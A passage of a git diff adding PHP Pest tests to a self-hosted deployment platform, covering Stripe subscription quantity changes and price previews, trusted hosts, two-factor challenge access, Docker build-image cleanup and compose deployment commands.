->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 5], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]) + ->andReturn((object) [ + 'status' => 'active', + 'latest_invoice' => (object) ['status' => 'paid'], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(5); + + Queue::assertPushed(ServerLimitCheckJob::class, function ($job) { + return $job->team->id === $this->team->id; + }); + }); + + test('reverts subscription and voids invoice when payment fails', function () { + Queue::fake(); + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + // First update: changes quantity but payment fails + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 5], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]) + ->andReturn((object) [ + 'status' => 'active', + 'latest_invoice' => (object) ['id' => 'in_failed_123', 'status' => 'open'], + ]); + + // Revert: restores original quantity + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 2], + ], + 'proration_behavior' => 'none', + ]) + ->andReturn((object) ['status' => 'active']); + + // Void the unpaid invoice + $this->mockInvoices + ->shouldReceive('voidInvoice') + ->with('in_failed_123') + ->once(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Payment failed'); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->not->toBe(5); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); + + test('rejects quantity below minimum of 2', function () { + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 1); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Minimum server limit is 2'); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not active', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not active'); + }); + + test('fails when subscription item cannot be found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn((object) [ + 'items' => (object) ['data' => []], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not find subscription item'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); + + test('handles generic exception gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \RuntimeException('Network error')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('unexpected error'); + }); +}); + +describe('UpdateSubscriptionQuantity::fetchPricePreview', function () { + test('returns full preview with proration and recurring cost with tax', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->with([ + 'customer' => 'cus_test_qty', + 'subscription' => 'sub_test_qty', + 'subscription_items' => [ + ['id' => 'si_item_123', 'quantity' => 3], + ], + 'subscription_proration_behavior' => 'create_prorations', + ]) + ->andReturn((object) [ + 'amount_due' => 2540, + 'total' => 2540, + 'subtotal' => 2000, + 'tax' => 540, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => -300, 'proration' => true], // credit for unused + (object) ['amount' => 800, 'proration' => true], // charge for new qty + (object) ['amount' => 1500, 'proration' => false], // next cycle + ], + ], + 'total_tax_amounts' => [ + (object) ['tax_rate' => 'txr_123'], + ], + ]); + + $this->mockTaxRates + ->shouldReceive('retrieve') + ->with('txr_123') + ->andReturn((object) [ + 'display_name' => 'VAT', + 'jurisdiction' => 'HU', + 'percentage' => 27, + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 3); + + expect($result['success'])->toBeTrue(); + // Due now: invoice total (2540) - recurring total (1905) = 635 + expect($result['preview']['due_now'])->toBe(635); + // Recurring: 3 × $5.00 = $15.00 + expect($result['preview']['recurring_subtotal'])->toBe(1500); + // Tax: $15.00 × 27% = $4.05 + expect($result['preview']['recurring_tax'])->toBe(405); + // Total: $15.00 + $4.05 = $19.05 + expect($result['preview']['recurring_total'])->toBe(1905); + expect($result['preview']['unit_price'])->toBe(500); + expect($result['preview']['tax_description'])->toContain('VAT'); + expect($result['preview']['tax_description'])->toContain('27%'); + expect($result['preview']['quantity'])->toBe(3); + expect($result['preview']['currency'])->toBe('USD'); + }); + + test('returns preview without tax when no tax applies', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->andReturn((object) [ + 'amount_due' => 1250, + 'total' => 1250, + 'subtotal' => 1250, + 'tax' => 0, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => 250, 'proration' => true], // proration charge + (object) ['amount' => 1000, 'proration' => false], // next cycle + ], + ], + 'total_tax_amounts' => [], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 2); + + expect($result['success'])->toBeTrue(); + // Due now: invoice total (1250) - recurring total (1000) = 250 + expect($result['preview']['due_now'])->toBe(250); + // 2 × $5.00 = $10.00, no tax + expect($result['preview']['recurring_subtotal'])->toBe(1000); + expect($result['preview']['recurring_tax'])->toBe(0); + expect($result['preview']['recurring_total'])->toBe(1000); + expect($result['preview']['tax_description'])->toBeNull(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['preview'])->toBeNull(); + }); + + test('fails when subscription item not found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn((object) [ + 'items' => (object) ['data' => []], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not retrieve subscription details'); + }); + + test('handles Stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \RuntimeException('API error')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not load price preview'); + expect($result['preview'])->toBeNull(); + }); +}); + +describe('Subscription billingInterval', function () { + test('returns monthly for monthly plan', function () { + config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly_123'); + + $this->subscription->update(['stripe_plan_id' => 'price_monthly_123']); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('monthly'); + }); + + test('returns yearly for yearly plan', function () { + config()->set('subscription.stripe_price_id_dynamic_yearly', 'price_yearly_123'); + + $this->subscription->update(['stripe_plan_id' => 'price_yearly_123']); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('yearly'); + }); + + test('defaults to monthly when plan id is null', function () { + $this->subscription->update(['stripe_plan_id' => null]); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('monthly'); + }); +}); diff --git a/tests/Feature/TeamNotificationCheckTest.php b/tests/Feature/TeamNotificationCheckTest.php new file mode 100644 index 000000000..2a39b020e --- /dev/null +++ b/tests/Feature/TeamNotificationCheckTest.php @@ -0,0 +1,52 @@ +team = Team::factory()->create(); +}); + +describe('isAnyNotificationEnabled', function () { + test('returns false when no notifications are enabled', function () { + expect($this->team->isAnyNotificationEnabled())->toBeFalse(); + }); + + test('returns true when email notifications are enabled', function () { + $this->team->emailNotificationSettings->update(['smtp_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when discord notifications are enabled', function () { + $this->team->discordNotificationSettings->update(['discord_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when slack notifications are enabled', function () { + $this->team->slackNotificationSettings->update(['slack_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when telegram notifications are enabled', function () { + $this->team->telegramNotificationSettings->update(['telegram_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when pushover notifications are enabled', function () { + $this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when webhook notifications are enabled', function () { + $this->team->webhookNotificationSettings->update(['webhook_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); +}); diff --git a/tests/Feature/TerminalAuthIpsRouteTest.php b/tests/Feature/TerminalAuthIpsRouteTest.php new file mode 100644 index 000000000..d4e51ad6c --- /dev/null +++ b/tests/Feature/TerminalAuthIpsRouteTest.php @@ -0,0 +1,51 @@ +set('app.env', 'local'); + + $this->user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => '-----BEGIN OPENSSH PRIVATE KEY----- +b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW +QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk +hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA +AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV +uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== +-----END OPENSSH PRIVATE KEY-----', + 'team_id' => $this->team->id, + ]); +}); + +it('includes development terminal host aliases for authenticated users', function () { + Server::factory()->create([ + 'name' => 'Localhost', + 'ip' => 'coolify-testing-host', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $response = $this->postJson('/terminal/auth/ips'); + + $response->assertSuccessful(); + $response->assertJsonPath('ipAddresses.0', 'coolify-testing-host'); + + expect($response->json('ipAddresses')) + ->toContain('coolify-testing-host') + ->toContain('localhost') + ->toContain('127.0.0.1') + ->toContain('host.docker.internal'); +}); diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php index b745259fe..5c60b30d6 100644 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ b/tests/Feature/TrustHostsMiddlewareTest.php @@ -286,6 +286,56 @@ expect($response->status())->not->toBe(400); }); +it('trusts localhost when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('localhost'); +}); + +it('trusts 127.0.0.1 when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('127.0.0.1'); +}); + +it('trusts IPv6 loopback when FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $middleware = new TrustHosts($this->app); + $hosts = $middleware->hosts(); + + expect($hosts)->toContain('[::1]'); +}); + +it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + + $response = $this->get('/', [ + 'Host' => 'localhost', + ]); + + // Should NOT be rejected as untrusted host (would be 400) + expect($response->status())->not->toBe(400); +}); + it('skips host validation for webhook endpoints', function () { // All webhook routes are under /webhooks/* prefix (see RouteServiceProvider) // and use cryptographic signature validation instead of host validation diff --git a/tests/Feature/TwoFactorChallengeAccessTest.php b/tests/Feature/TwoFactorChallengeAccessTest.php new file mode 100644 index 000000000..2bd58d197 --- /dev/null +++ b/tests/Feature/TwoFactorChallengeAccessTest.php @@ -0,0 +1,65 @@ +user = User::factory()->create(); + $this->team = Team::factory()->personal()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); +}); + +it('allows unauthenticated access to two-factor-challenge page', function () { + $response = $this->get('/two-factor-challenge'); + + // Fortify returns a redirect to /login if there's no login.id in session, + // but the important thing is it does NOT return a 419 or 500 + expect($response->status())->toBeIn([200, 302]); +}); + +it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () { + $paths = allowedPathsForUnsubscribedAccounts(); + + expect($paths)->toContain('two-factor-challenge'); +}); + +it('includes two-factor-challenge in allowed paths for invalid accounts', function () { + $paths = allowedPathsForInvalidAccounts(); + + expect($paths)->toContain('two-factor-challenge'); +}); + +it('includes two-factor-challenge in allowed paths for boarding accounts', function () { + $paths = allowedPathsForBoardingAccounts(); + + expect($paths)->toContain('two-factor-challenge'); +}); + +it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () { + $this->user->update(['force_password_reset' => true]); + + $response = $this->actingAs($this->user)->get('/two-factor-challenge'); + + // Should NOT redirect to force-password-reset page + if ($response->isRedirect()) { + expect($response->headers->get('Location'))->not->toContain('force-password-reset'); + } +}); + +it('renders 419 error page with login link instead of previous url', function () { + $response = $this->get('/two-factor-challenge', [ + 'X-CSRF-TOKEN' => 'invalid-token', + ]); + + // The 419 page should exist and contain a link to /login + $view = view('errors.419')->render(); + + expect($view)->toContain('/login'); + expect($view)->toContain('Back to Login'); + expect($view)->toContain('This page is definitely old, not like you!'); + expect($view)->not->toContain('url()->previous()'); +}); diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php index 630b1bf53..fc8b8ab9b 100644 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ b/tests/Unit/Actions/Server/CleanupDockerTest.php @@ -8,9 +8,7 @@ Mockery::close(); }); -it('categorizes images correctly into PR and regular images', function () { - // Test the image categorization logic - // Build images (*-build) are excluded from retention and handled by docker image prune +it('categorizes images correctly into PR, build, and regular images', function () { $images = collect([ ['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'], ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'], @@ -25,6 +23,11 @@ expect($prImages)->toHaveCount(2); expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456'); + // Build images (tags ending with '-build', excluding PR builds) + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + expect($buildImages)->toHaveCount(2); + expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build'); + // Regular images (neither PR nor build) - these are subject to retention policy $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); expect($regularImages)->toHaveCount(2); @@ -340,3 +343,128 @@ // Other images should not be protected expect(preg_match($pattern, 'nginx:alpine'))->toBe(0); }); + +it('deletes build images not matching retained regular images', function () { + // Simulates the Nixpacks scenario from issue #8765: + // Many -build images accumulate because they were excluded from both cleanup paths + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], + ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], + ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'], + ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], + ['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'], + ['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'], + ['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'], + ]); + + $currentTag = 'commit5'; + $imagesToKeep = 2; + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + // Determine kept tags: current + N newest rollback + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + // Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback) + expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3'); + + // Build images to delete: those whose base tag is NOT in keptTags + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // Should delete commit1-build and commit2-build (their base tags are not kept) + expect($buildImagesToDelete)->toHaveCount(2); + expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build'); + + // Should keep commit3-build, commit4-build, commit5-build (matching retained images) + $buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return $keptTags->contains($baseTag); + }); + expect($buildImagesToKeep)->toHaveCount(3); + expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build'); +}); + +it('deletes all build images when retention is disabled', function () { + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], + ]); + + $currentTag = 'commit2'; + $imagesToKeep = 0; // Retention disabled + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + // With imagesToKeep=0, only current tag is kept + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // commit1-build should be deleted (not retained), commit2-build kept (matches running) + expect($buildImagesToDelete)->toHaveCount(1); + expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build'); +}); + +it('preserves build image for currently running tag', function () { + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ]); + + $currentTag = 'commit1'; + $imagesToKeep = 2; + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // Build image for running tag should NOT be deleted + expect($buildImagesToDelete)->toHaveCount(0); +}); diff --git a/tests/Unit/ApplicationComposeEditorLoadTest.php b/tests/Unit/ApplicationComposeEditorLoadTest.php index c0c8660e1..305bc72a2 100644 --- a/tests/Unit/ApplicationComposeEditorLoadTest.php +++ b/tests/Unit/ApplicationComposeEditorLoadTest.php @@ -3,7 +3,6 @@ use App\Models\Application; use App\Models\Server; use App\Models\StandaloneDocker; -use Mockery; /** * Unit test to verify docker_compose_raw is properly synced to the Livewire component diff --git a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php index bd925444a..c2a8d46fa 100644 --- a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php +++ b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php @@ -236,6 +236,48 @@ expect($envArgs)->toBe(''); }); +it('filters out null coolify env variables from env_args used in nixpacks plan JSON', function () { + // This test verifies the fix for GitHub issue #6830: + // When application->fqdn is null, COOLIFY_FQDN/COOLIFY_URL get set to null + // in generate_coolify_env_variables(). The generate_env_variables() method + // merges these into env_args which become the nixpacks plan JSON "variables". + // Nixpacks requires all variable values to be strings, so null causes: + // "Error: Failed to parse Nixpacks config file - invalid type: null, expected a string" + + // Simulate the coolify env collection with null values (as produced when fqdn is null) + $coolify_envs = collect([ + 'COOLIFY_URL' => null, + 'COOLIFY_FQDN' => null, + 'COOLIFY_BRANCH' => 'main', + 'COOLIFY_RESOURCE_UUID' => 'abc123', + 'COOLIFY_CONTAINER_NAME' => '', + ]); + + // Apply the same filtering logic used in generate_env_variables() + $env_args = collect([]); + $coolify_envs->each(function ($value, $key) use ($env_args) { + if (! is_null($value) && $value !== '') { + $env_args->put($key, $value); + } + }); + + // Null values must NOT be present — they cause nixpacks JSON parse errors + expect($env_args->has('COOLIFY_URL'))->toBeFalse(); + expect($env_args->has('COOLIFY_FQDN'))->toBeFalse(); + expect($env_args->has('COOLIFY_CONTAINER_NAME'))->toBeFalse(); + + // Non-null values must be preserved + expect($env_args->get('COOLIFY_BRANCH'))->toBe('main'); + expect($env_args->get('COOLIFY_RESOURCE_UUID'))->toBe('abc123'); + + // The resulting array must be safe for json_encode into nixpacks config + $json = json_encode(['variables' => $env_args->toArray()], JSON_PRETTY_PRINT); + $parsed = json_decode($json, true); + foreach ($parsed['variables'] as $value) { + expect($value)->toBeString(); + } +}); + it('preserves environment variables with zero values', function () { // Mock application with nixpacks build pack $mockApplication = Mockery::mock(Application::class); diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php new file mode 100644 index 000000000..be7c7d528 --- /dev/null +++ b/tests/Unit/ApplicationDeploymentTypeTest.php @@ -0,0 +1,54 @@ +private_key_id = 5; + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns deploy_key when private_key_id is a real key even with source', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = 5; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(5); + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns source when private_key_id is null and source exists', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = null; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + expect($application->deploymentType())->toBe('source'); +}); + +it('returns source when private_key_id is zero and source exists', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = 0; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(0); + + expect($application->deploymentType())->toBe('source'); +}); + +it('returns deploy_key when private_key_id is zero and no source', function () { + $application = new Application; + $application->private_key_id = 0; + $application->source = null; + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns other when private_key_id is null and no source', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('source')->andReturn(null); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + expect($application->deploymentType())->toBe('other'); +}); diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php index 1babdcf49..241364a93 100644 --- a/tests/Unit/ApplicationPortDetectionTest.php +++ b/tests/Unit/ApplicationPortDetectionTest.php @@ -11,7 +11,6 @@ use App\Models\Application; use App\Models\EnvironmentVariable; use Illuminate\Support\Collection; -use Mockery; beforeEach(function () { // Clean up Mockery after each test diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php index b38a6aa8e..0b33db470 100644 --- a/tests/Unit/ContainerHealthStatusTest.php +++ b/tests/Unit/ContainerHealthStatusTest.php @@ -1,7 +1,6 @@ not->toContain('docker exec'); + expect($command)->toStartWith("cd {$serverWorkdir}"); + expect($command)->toContain($startCommand); +}); + +it('generates executeInDocker command when preserveRepository is false', function () { + $deploymentUuid = 'test-deployment-uuid'; + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $basedir = '/artifacts/test-deployment-uuid'; + $workdir = '/artifacts/test-deployment-uuid/backend'; + $preserveRepository = false; + + $startCommand = 'docker compose -f /artifacts/test-deployment-uuid/backend/compose.yml --env-file /artifacts/test-deployment-uuid/backend/.env --profile all up -d'; + + // Simulate the logic from ApplicationDeploymentJob::deploy_docker_compose_buildpack() + if ($preserveRepository) { + $command = "cd {$serverWorkdir} && {$startCommand}"; + } else { + $command = executeInDocker($deploymentUuid, "cd {$basedir} && {$startCommand}"); + } + + // When preserveRepository is false, the command SHOULD be wrapped in executeInDocker + expect($command)->toContain('docker exec'); + expect($command)->toContain($deploymentUuid); + expect($command)->toContain("cd {$basedir}"); +}); + +it('uses host paths for env-file when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $composeLocation = '/compose.yml'; + $preserveRepository = true; + + $workdirPath = $preserveRepository ? $serverWorkdir : '/artifacts/deployment-uuid/backend'; + $startCommand = injectDockerComposeFlags( + 'docker compose --profile all up -d', + "{$workdirPath}{$composeLocation}", + "{$workdirPath}/.env" + ); + + // Verify the injected paths point to the host filesystem + expect($startCommand)->toContain("--env-file {$serverWorkdir}/.env"); + expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}"); +}); + +it('injects --project-directory with host path when preserveRepository is true', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = true; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from deploy_docker_compose_buildpack() + if (! str($customStartCommand)->contains('--project-directory')) { + $projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir; + $customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value(); + } + + // When preserveRepository is true, --project-directory must point to host path + expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}"); + expect($customStartCommand)->not->toContain('/artifacts/'); +}); + +it('injects --project-directory with container path when preserveRepository is false', function () { + $serverWorkdir = '/data/coolify/applications/app-uuid'; + $containerWorkdir = '/artifacts/deployment-uuid'; + $preserveRepository = false; + + $customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d'; + + // Simulate the --project-directory injection from 